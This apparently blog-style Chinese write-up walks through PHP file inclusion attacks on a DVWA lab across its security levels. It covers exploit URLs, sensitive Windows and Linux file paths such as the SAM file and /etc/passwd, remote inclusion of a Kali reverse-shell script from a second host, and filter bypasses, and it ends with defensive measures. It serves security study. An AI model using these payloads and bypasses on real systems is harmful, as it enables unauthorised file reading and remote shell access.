文件包含定义
开发人员将相同的函数写入单独文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含
文件包含漏洞定义
文件包含漏洞是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务期允许包含一个远程文件)
本地文件包含
本地包含文件就是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤允许遍历目录的字符注入浏览器并执行;
远程文件包含
远程文件包含就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好脚本。此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击,甚至在目标服务器上执行代码;

文件包含与目录遍历的区别
(1)目录遍历根源在于对路径的访问权限设置不严格,针对于本系统。
(2)文件包含是利用函数来包含web目录以外的文件并执行;

文件包含函数
php中文件包含函数
require:找不到被包含的文件,报错,并且停止运行脚本
include:找不到被包含的文件,只会报错,但会继续运行脚本
require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次
include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次

文件包含的特征
URL栏中有以下内容则可能存在文件包含
?page=
?file=
?home=

DVWA实现文件包含前提
dvwa->打开配置文件->php-ini 查找allow_url_fopen(远程文件包含)、allow_url_include(本地文件包含)均将off改为on
实现过程
LOW级别
源码
DVWA---文件包含
可见获取了page后的参数,之间交给文件包含函数进行执行

  • Windows常见的敏感信息路径
    系统版本:C:\boot.ini
    IIS配置文件:C:\windows\system32\inetsrv\MetaBase.xml
    存储Windows系统初次安装的密码:C:\windows\repair\sam
    查看php配置信息:C:\windows\php.ini
  • Linux常见的敏感信息路径
    系统用户信息:/etc/passwd
    DNS配置文件:/etc/resolv.conf
    ssh生成文件:/root/.ssh/known_hosts
    网络配置文件:/etc/network/interfaces
    本地文件包含
    (1)查看 C:\phpStudy\PHPTutorial\WWW\phpinfo.php
    http://192.168.254.128/dvwa/vulnerabilities/fi/?page=C:/phpStudy/PHPTutorial/WWW/phpinfo.php
    DVWA---文件包含
    (2)在03服务器中新建1.txt (复制phpinfo.php中内容),查看C:\phpStudy\PHPTutorial\WWW\1.txt 照样执行
    DVWA---文件包含
    对于PHP环境,被包含的文件会优先被当作php文件进行解析,如果被包含的文件中存在php代码,那么就会按照php类型执行该文件中的php代码;如果不包含php代码,则会将其中的内容全部原样打印处理。
    远程文件包含
    实验场景
    A:存储脚本的主机,即为受害者主机(kali 192.168.254.129)
    B:存在文件包含漏洞的浏览器(win10)
    C:远程连接的主机,获取反弹shell的主机【即脚本里指定的连接主机】(kali192.168.254.129)

    实验原理
    A主机中存在反弹shell脚本,其中指定连接到主机C,主机B远程包含反弹shell脚本,交由A执行;A执行脚本后,C便可获取A的反弹shell;一般情况下文件包含与文件上传联合使用;

    实现过程
    Kali的反弹脚本:/usr/share/webshells/php/php-reverse-shell.php
    将其改名为getshell.php 并复制到/var/www/html下;

    DVWA---文件包含
    修改要连接的主机IP(KALI)以及端口
    DVWA---文件包含
    打开apache
    DVWA---文件包含
    dvwa执行文件包含漏洞,C主机开始监听
    http://192.168.254.128/dvwa/vulnerabilities/fi/?page=http://192.168.254.129/getshell.php
    DVWA---文件包含
    提权成功
    medium级别
    源码
    DVWA---文件包含
    使用str_replace函数进行替换,可以通过双写进行绕过
    解决办法
    http:// —> htthttp://p://
    …/(回到上一层) —> …/./
    …\ (回到上一层) —> ….

    实验过程
    http://192.168.254.128/dvwa/vulnerabilities/fi/?page=…/./…/./…/./1.txt
    DVWA---文件包含
    high级别
    源码
    DVWA---文件包含
    使用fnmatch()确保$file是以file开头
    解决办法
    file:///c:\phpStudy\PHPTutorial\WWW\1.txt;此时无法再利用远程文件包含,只可使用本地文件包含,若想执行远程代码,需要配合文件上传漏洞利用。

    http://192.168.254.128/dvwa/vulnerabilities/fi/?page=file:///c:\phpStudy\PHPTutorial\WWW\1.txt
    DVWA---文件包含
    impossible级别
    基于白名单进行防御,确保page参数传递的只能是固定的文件名;
    常见的防范措施
    1、过滤各种…/,http://,https://
    2、配置php.ini配置文件(allow_url_fopen=off、allow_url_include=off)
    3、基于白名单进行防御

嗯嗯~~就这么多了

相关文章: